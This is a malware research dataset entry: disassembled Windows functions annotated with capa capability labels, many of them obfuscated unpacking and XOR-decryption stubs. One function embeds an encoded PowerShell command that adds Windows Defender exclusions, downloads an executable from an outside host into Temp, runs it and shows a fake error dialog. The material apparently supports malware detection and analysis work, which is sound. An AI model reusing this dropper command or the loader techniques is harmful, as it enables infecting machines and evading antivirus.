joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100019e1
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001d960
call fcn.10004980
mov ebx, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0x14], esi
mov word [ebx], ax
call fcn.100018f8
test eax, eax
je 0x10001a12
call fcn.100018ea
mov esi, eax
mov dword [ebp - 0x14], eax
push 0x104
push ebx
push esi
push edi
push 0x10021c18
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
test esi, esi
js 0x10001b28
jmp 0x10001a62
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10001a70
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10001b20
push ebx
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 4], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
jns 0x10001ad1
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10001b2e
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10001b20
push 1
push 0x1a
push ebx
push edi
mov dword [ebp - 4], 4
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
test esi, esi
jns 0x10001b20
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10001b2e
mov eax, esi
call fcn.10004937
ret
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003d44
pop ecx
pop ecx
push edi
push esi
call fcn.1000a1db
int3

Function at 0x10002445
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10002469
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
mov eax, esi
pop esi
ret
Function at 0x100030b4
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x1001d9bb
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x1002a034]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1001ec0c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1000a1db
add esp, 0xc
test eax, eax
jne 0x100031a9
push dword [ebp - 0x18]
call fcn.1000a1db
cmp dword [0x1002aa80], 0
pop ecx
je 0x10003122
xor eax, eax
inc eax
jmp 0x100031ab
lea eax, [ebp]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathA]
cmp eax, esi
ja 0x100031a9
test eax, eax
je 0x100031a9
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000330b
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push str.JavaDeployReg.log
call fcn.1000330b
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x10]
call fcn.100033d2
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x10003177
call fcn.100037d1
push 0x1001ec38
lea ecx, [ebp - 0x10]
call fcn.100033b4
push eax
push 0x1002aa80
call fcn.1000a1db
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
test ecx, ecx
je 0x100031a4
call fcn.100037d1
lea eax, [esi + 1]
jmp 0x100031ab
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.10004926
add ebp, 0x108
leave
ret

Function at 0x10003656
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x1002a034]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
mov ebx, dword [esp + 0x124]
push ebp
push esi
push edi
mov edi, ecx
xor ebp, ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov eax, dword [edi + 4]
or eax, 0x2001f
push eax
push ebx
push dword [edi]
call fcn.1000a1db
mov esi, eax
test esi, esi
jne 0x10003705
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036e0
lea eax, [esp + 0x28]
push eax
call fcn.10003656
mov esi, eax
test esi, esi
jne 0x10003705
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x30]
mov dword [esp + 0x30], pe_nt_image_headers32
call ebp
lea ecx, [esp + 0x14]
test eax, eax
je 0x100036bb
call fcn.1000342b
push ebx
mov ecx, edi
call fcn.10003445
mov esi, eax
lea ecx, [esp + 0x14]
call fcn.1000342b
mov ecx, dword [esp + 0x128]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004926
add esp, 0x11c
ret 4
Function at 0x10003bc2
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x1002a034]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.10005d80
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.1000a1db
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.1000a1db
push 0x10021be8
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.1000a1db
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.10005d80
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003c67
sub ecx, edx
cmp ecx, 6
jbe 0x10003c8e
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.1000a1db
pop ecx
pop ecx
test eax, eax
jne 0x10003c8e
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003c95
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10020533
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.1000a1db
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.10005800
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003d0f
mov ax, word [0x10021c14]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004926
add esp, 0x824
ret
Function at 0x1000a1db
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000a1ea
pop dword [ebp - 0x3c]
mov eax, 0x1000a1ea
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe697bdb7
add dword [ebp - 0x4c], 0x67ba8794
mov dword [ebp - 0x48], 0x5f17c96e
sub dword [ebp - 0x48], 0x2ce47d29
mov dword [ebp - 0x44], 0x4fd195c9
sub dword [ebp - 0x44], 0x385519b
mov dword [ebp - 0x40], 0xb26c2898
add dword [ebp - 0x40], 0x4d93d768
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xe7626a37
add eax, 0x289f7649
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x4e034728
sub dword [ebp - 0x4c], 0xd990ddd2
mov dword [ebp - 0x48], 0xffd12dc6
add dword [ebp - 0x48], 0x419b33af
mov dword [ebp - 0x44], 0xbe751d6c
add dword [ebp - 0x44], 0xa4fa4f00
mov dword [ebp - 0x40], 0x344427d2
sub dword [ebp - 0x40], 0x344427d2
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x4742b65c
add eax, 0xc8bf2a28
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e181
push 0
call eax
mov ecx, 0x5a5e29ba
sub ecx, 0x5a5dde99
mov edx, eax
mov esi, 0x6625b9e7
add esi, 0xa9dd9e19
add esi, dword [ebp - 0x3c]
mov ebx, 0xe8f28c3
mov edi, dword [esi]
sub dword [ebp - 0x14], 0xbc353a63
xor edi, ebx
xor dword [ebp - 0x30], ebx
mov dword [edx], edi
add edx, 0xfef7dee2
sub edx, 0xfef7dede
add esi, 4
loop 0x1000a301
add eax, 0xc32d1f44
sub eax, 0xc32bffed
xor ebx, ebx
add ebx, eax
add eax, 0xe66a7f11
sub eax, 0xe66a7f0c
mov ecx, 0x38cfda85
add ecx, 0xd730257b
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00406dc2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00406dc2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00406dc2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00406dc2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00406dc2
mov dword [0x41203c], eax
call fcn.00406dc2
test eax, eax
jge 0x402550
push 8
call fcn.00406dc2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00406dc2
pop ecx
push 1
call fcn.00406dc2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00406dc2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00406dc2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00406dc2
jmp 0x402495

Function at 0x406dc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x406dd1
pop dword [ebp - 0x28]
mov eax, 0x27eb9b46
sub eax, 0x27ab2d75
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3617d
push 0
mov eax, 0x99c984e9
add eax, 0x66775bef
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x3b31
xor edi, edi
add edi, eax
mov edx, 0x7abb6967
sub edx, 0x7a7a2da3
add edx, dword [ebp - 0x28]
mov esi, 0xc1fc7d92
xor dword [ebp - 4], 0x9cd773e9
mov ebx, dword [edx]
add dword [ebp - 0x10], eax
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 8], 0xe85e53c7
add edi, 0x37ad6c4a
sub edi, 0x37ad6c46
add edx, 4
loop 0x406e26
add eax, 0xdf97
xor ebx, ebx
add ebx, eax
add eax, 0x71b95223
sub eax, 0x71b9521e
mov ecx, 0x482d45de
add ecx, 0xb812ba22
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xc10058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xc101a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xc1007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc1006a
add dl, dl
jne 0xc10089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc100dc
xor eax, eax
add dl, dl
jne 0xc10096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc1017d
add dl, dl
jne 0xc100a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc100b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc100bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc100c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xc100d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xc10075
mov eax, 1
add dl, dl
jne 0xc100ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc100f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc100e1
sub eax, ebx
mov ebx, 1
jne 0xc10128
mov ecx, 1
add dl, dl
jne 0xc1010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc10119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc10105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc10075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xc1013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc1014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc10136
cmp eax, 0x7d00
jae 0xc1016d
cmp eax, 0x500
jb 0xc10168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc10075
cmp eax, 0x7f
ja 0xc10170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc10075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xc1019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xc10075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x437097
Capabilities:
Parse pe header

Disassembly:
sub ebx, 0xdf55d7ec
sub ebx, 0x20aa2814
sub ebx, 0x6a016afe
push ebx
add dword [esp], 0x6a016afe
pop ebx
mov dword [esp - 4], ebx
push ebx
push edi
add esp, 4
add esp, 4
jmp 0x436dfc
mov edx, dword [esp]
add esp, 4
push edi
push esi
add esp, 4
mov dword [esp], edx
push 0x17
mov edx, dword [esp]
add esp, 4
sub dword [esp], edx
jmp 0x436e1a
mov edx, dword [esp]
add esp, 4
push eax
push esi
add esi, eax
pop esi
push edi
add esp, 4
pop eax
push ebx
push edi
add esp, 4
push edi
mov dword [esp], ebx
add esp, 4
push edi
mov dword [esp], edi
pop ebx
push 0x2250258
push esi
push esi
mov ebx, dword [esp + 8]
add esp, 0xc
push ebx
push esi
pop esi
sub dword [esp], 0x2250251
mov ebx, dword [esp]
add esp, 4
add ebx, 0x6f207944
push esp
sub ebx, 0x6f207944
mov dword [esp], ebx
push ebx
xor esi, dword [esp]
pop ebx
mov esi, esp
mov esi, dword [esi]
add esp, 4
jmp 0x436e77
mov ebx, dword [esp]
add esp, 4
mov dword [edx], esi
push ebx
push 0x6c28517a
pop ebx
add dword [esp], ebx
pop ebx
push esp
push ebx
sub dword [esp], 0x6c28517a
pop ebx
mov dword [esp], ebx
mov edx, dword [esp + 4]
add esp, 8
add esp, 4
mov esi, dword [esp - 4]
pushal
call 0x436eab
pop ebx
mov eax, 0x50031494
sub eax, 0x50031202
add eax, ebx
xor dword [eax], 0x78c9aed2
call 0x437097
jmp 0x436ffb
call fcn.00436ec8
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add byte [ecx - 0x17], ah
cmpsb byte [esi], byte es:[edi]
add byte [eax], al
add byte [ebp - 0x75], dl
in al, dx
mov ebx, 0x77000000
add ebx, 0x10000
cmp ebx, 0x80000000
jne 0x4370b2
mov ebx, 0xbff00000
call fcn.004370f6
cmp eax, 0
je 0x43709f
cmp word [ebx], 0x5a4d
jne 0x43709f
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp word [eax], 0x4550
jne 0x43709f
test byte [eax + 0x17], 0x20
je 0x43709f
mov eax, dword [eax + 0x78]
add eax, ebx
mov edx, dword [eax + 0xc]
add edx, ebx
cmp dword [edx], 0x4e52454b
jne 0x43709f
cmp dword [edx + 4], 0x32334c45
jne 0x43709f
mov eax, ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAGYAdAByACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHAAbABhACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAFAAeQB0AGgAbwBuADMAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAG4AbQB2ACMAPgA7ACIAOwA8ACMAZwB3AHEAIwAACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB0AG4AbgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBxAGIAbgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAHUAZQAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AaQBnADcAbgBlAG8AagAuAGwAbwBjAGEAbAB0AG8ALgBuAGUAdAAvAHUAYgBlAHIAZgBsAGUAeAAuAGUAeABlACcALAAgADwAIwBlAGwAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAeAByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGsAdwB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHUAYgAuAGUAeABlACcAKQApADwAIwBnAHMAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGkAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAawB6AHcAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdQBiAC4AZQB4AGUAJwApADwAIwBlAHQAdwAjAD4A_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x5165f8
Capabilities:
Encode data using xor
Encrypt data using aes

Disassembly:
jmp 0x516630
jmp 0x516614
lea esp, [esp + 4]
jmp 0x5165db
jmp 0x51664c
jmp 0x516668
push ebx
jmp 0x516684
jmp 0x5166a0
push ebp
jmp 0x5166bc
jmp 0x5166d8
push esi
jmp 0x5166f4
jmp 0x561987
push edi
movzx edx, byte [eax]
jmp 0x561c63
shl edx, 8
movzx esi, byte [eax + 1]
jmp 0x561c89
xor edx, esi
movzx esi, byte [eax + 2]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 3]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 5]
mov dword [ecx], edx
jmp 0x561cd9
movzx edx, byte [eax + 4]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 6]
shl edx, 8
jmp 0x561d3f
xor edx, esi
movzx esi, byte [eax + 7]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 9]
mov dword [ecx + 4], edx
movzx edx, byte [eax + 8]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xa]
shl edx, 8
xor edx, esi
jmp 0x561e45
movzx esi, byte [eax + 0xb]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xd]
mov dword [ecx + 8], edx
movzx edx, byte [eax + 0xc]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xe]
movzx eax, byte [eax + 0xf]
shl edx, 8
xor edx, esi
shl edx, 8
xor edx, eax
mov dword [ecx + 0xc], edx
mov eax, edx
shr eax, 0x10
mov esi, 0xff
and eax, esi
mov eax, dword [eax*4 + 0x51ff78]
xor eax, 0x1000000
mov edi, edx
shr edi, 8
and edi, esi
mov edi, dword [edi*4 + 0x51ff78]
and edi, 0xff0000
mov ebx, dword [ecx + 4]
and eax, 0xff000000
xor eax, edi
mov edi, edx
shr edi, 0x18
movzx edi, byte [edi*4 + 0x51ff78]
xor eax, edi
mov edi, edx
and edi, esi
mov edi, dword [edi*4 + 0x51ff78]
mov ebp, 0xff00
and edi, ebp
xor eax, edi
xor eax, dword [ecx]
lea edi, [ecx + 0x10]
xor ebx, eax
mov dword [edi], eax
mov eax, dword [ecx + 8]
xor eax, ebx
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x18], eax
xor edx, eax
mov dword [ecx + 0x1c], edx
call fcn.0054b506
mov eax, edi
mov edx, dword [eax + 0xc]
mov ecx, edx
shr ecx, 8
mov edi, edx
and ecx, esi
mov ecx, dword [ecx*4 + 0x51ff78]
shr edi, 0x10
and edi, esi
mov edi, dword [edi*4 + 0x51ff78]
and ecx, 0xff0000
and edi, 0xff000000
xor ecx, edi
mov edi, edx
and edx, esi
mov edx, dword [edx*4 + 0x51ff78]
shr edi, 0x18
movzx edi, byte [edi*4 + 0x51ff78]
xor ecx, edi
and edx, ebp
xor ecx, edx
xor ecx, dword [ebx]
lea edi, [eax + 0x10]
xor ecx, dword [eax]
add ebx, 4
mov dword [edi], ecx
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 0x14], edx
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 0x18], ecx
mov edx, dword [eax + 0xc]
xor edx, ecx
mov dword [eax + 0x1c], edx
cmp ebx, 0x5217a0
jne 0x561eee
push 0xa
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x5178fb
Capabilities:
Encode data using base64

Disassembly:
jmp 0x517917
lea esp, [esp + 4]
jmp 0x517ad7
jmp 0x51794f
jmp 0x51796b
push ebp
jmp 0x517987
jmp 0x5179a3
mov ebp, esp
jmp 0x5179bf
jmp 0x5179db
movzx eax, byte [ecx]
jmp 0x5179f7
jmp 0x517a13
shl eax, 0x10
jmp 0x517a2f
jmp 0x517a4b
cmp dword [ebp + 0xc], 2
jmp 0x517a83
jmp 0x56240b
jmp 0x517a9f
pop eax
aas
retf 0x4975
jb 0x517a67
jae 0x517abb
push ecx
add dword [edi - 0x284fdd42], esp
and cl, byte [ebx + 0x2f48da47]
cmpsd dword [esi], dword es:[edi]
mov esi, 0x22d7b022
mov eax, dword [edi - 0x26]
dec eax
das
fisubr dword [ebp - 0x25]
jg 0x517aa4
mov bh, byte [ecx]
jg 0x517a96
jb 0x517aa5
jmp 0x5623fd
cmp eax, 0x2f0004a9
dec edx
mov ecx, 0xd84ac913
mov edi, 0xa92bac4a
cmp dword [eax - 0x55], ebx
dec eax
lahf
push ds
mov ebx, gs
les esi, es:[esi - 0x17]
push edi
invalid
jmp 0x517933
jmp 0x519a1d
jmp fcn.00566382
movzx edx, byte [ecx + 1]
shl edx, 8
or eax, edx
jmp 0x517a67
cmp dword [ebp + 0xc], 3
jmp 0x562c4d
jne 0x562cd6
movzx ecx, byte [ecx + 2]
or eax, ecx
jmp 0x562cd6
cmp dword [ebp + 0xc], 3
jne 0x562c93
and eax, edx
mov ebx, eax
jmp 0x562d03
mov edi, dword [ebp + 0xc]
jmp 0x562c5e
mov ebx, dword [ebp + 0xc]
jmp 0x562d03
push ebx
push esi
push edi
mov ecx, eax
push 0x3f
mov esi, eax
shr ecx, 0x12
pop edx
shr esi, 0xc
and ecx, edx
and esi, edx
cmp dword [ebp + 0xc], 2
jb 0x562c8b
mov edi, eax
shr edi, 6
and edi, edx
jmp 0x562c5e
push 0x3e
pop eax
cmp ecx, 0x1a
jmp 0x562ded
cmp ecx, 0x34
jmp 0x562d8a
cmp ecx, eax
jae 0x562e62
lea edx, [ecx - 4]
jmp 0x562dab
jae 0x562d66
lea edx, [ecx + 0x47]
jmp 0x562dab
mov ecx, dword [ebp + 8]
mov byte [ecx], dl
jmp 0x562e31
jae 0x562d22
lea edx, [ecx + 0x41]
jmp 0x562dab
cmp esi, 0x1a
jae 0x562e83
lea ecx, [esi + 0x41]
jmp 0x562f24
xor edx, edx
cmp ecx, eax
setne dl
lea edx, [edx*4 + 0x2b]
jmp 0x562dab
cmp esi, 0x34
jae 0x562ec2
lea ecx, [esi + 0x47]
jmp 0x562f24
cmp esi, eax
jae 0x562ee7
lea ecx, [esi - 4]
jmp 0x562f24
xor ecx, ecx
cmp esi, eax
jmp 0x562f44
cmp dword [ebp + 0xc], 2
mov edx, dword [ebp + 8]
jmp 0x562fd5
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x562f24
mov byte [edx + 2], 0x3d
jmp 0x56302f
mov byte [edx + 1], cl
jb 0x562fad
cmp edi, 0x1a
jmp 0x5648d1
cmp dword [ebp + 0xc], 3
jmp 0x5630aa
xor ecx, ecx
cmp edi, eax
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x563f93
mov byte [edx + 3], 0x3d
jmp 0x5633ac
jne 0x563084
cmp ebx, 0x1a
jae 0x5630d2
lea ecx, [ebx + 0x41]
jmp 0x5630ef
cmp ebx, 0x34
jmp 0x56314c
mov byte [edx + 3], cl
jmp 0x5633ac
jae 0x563169
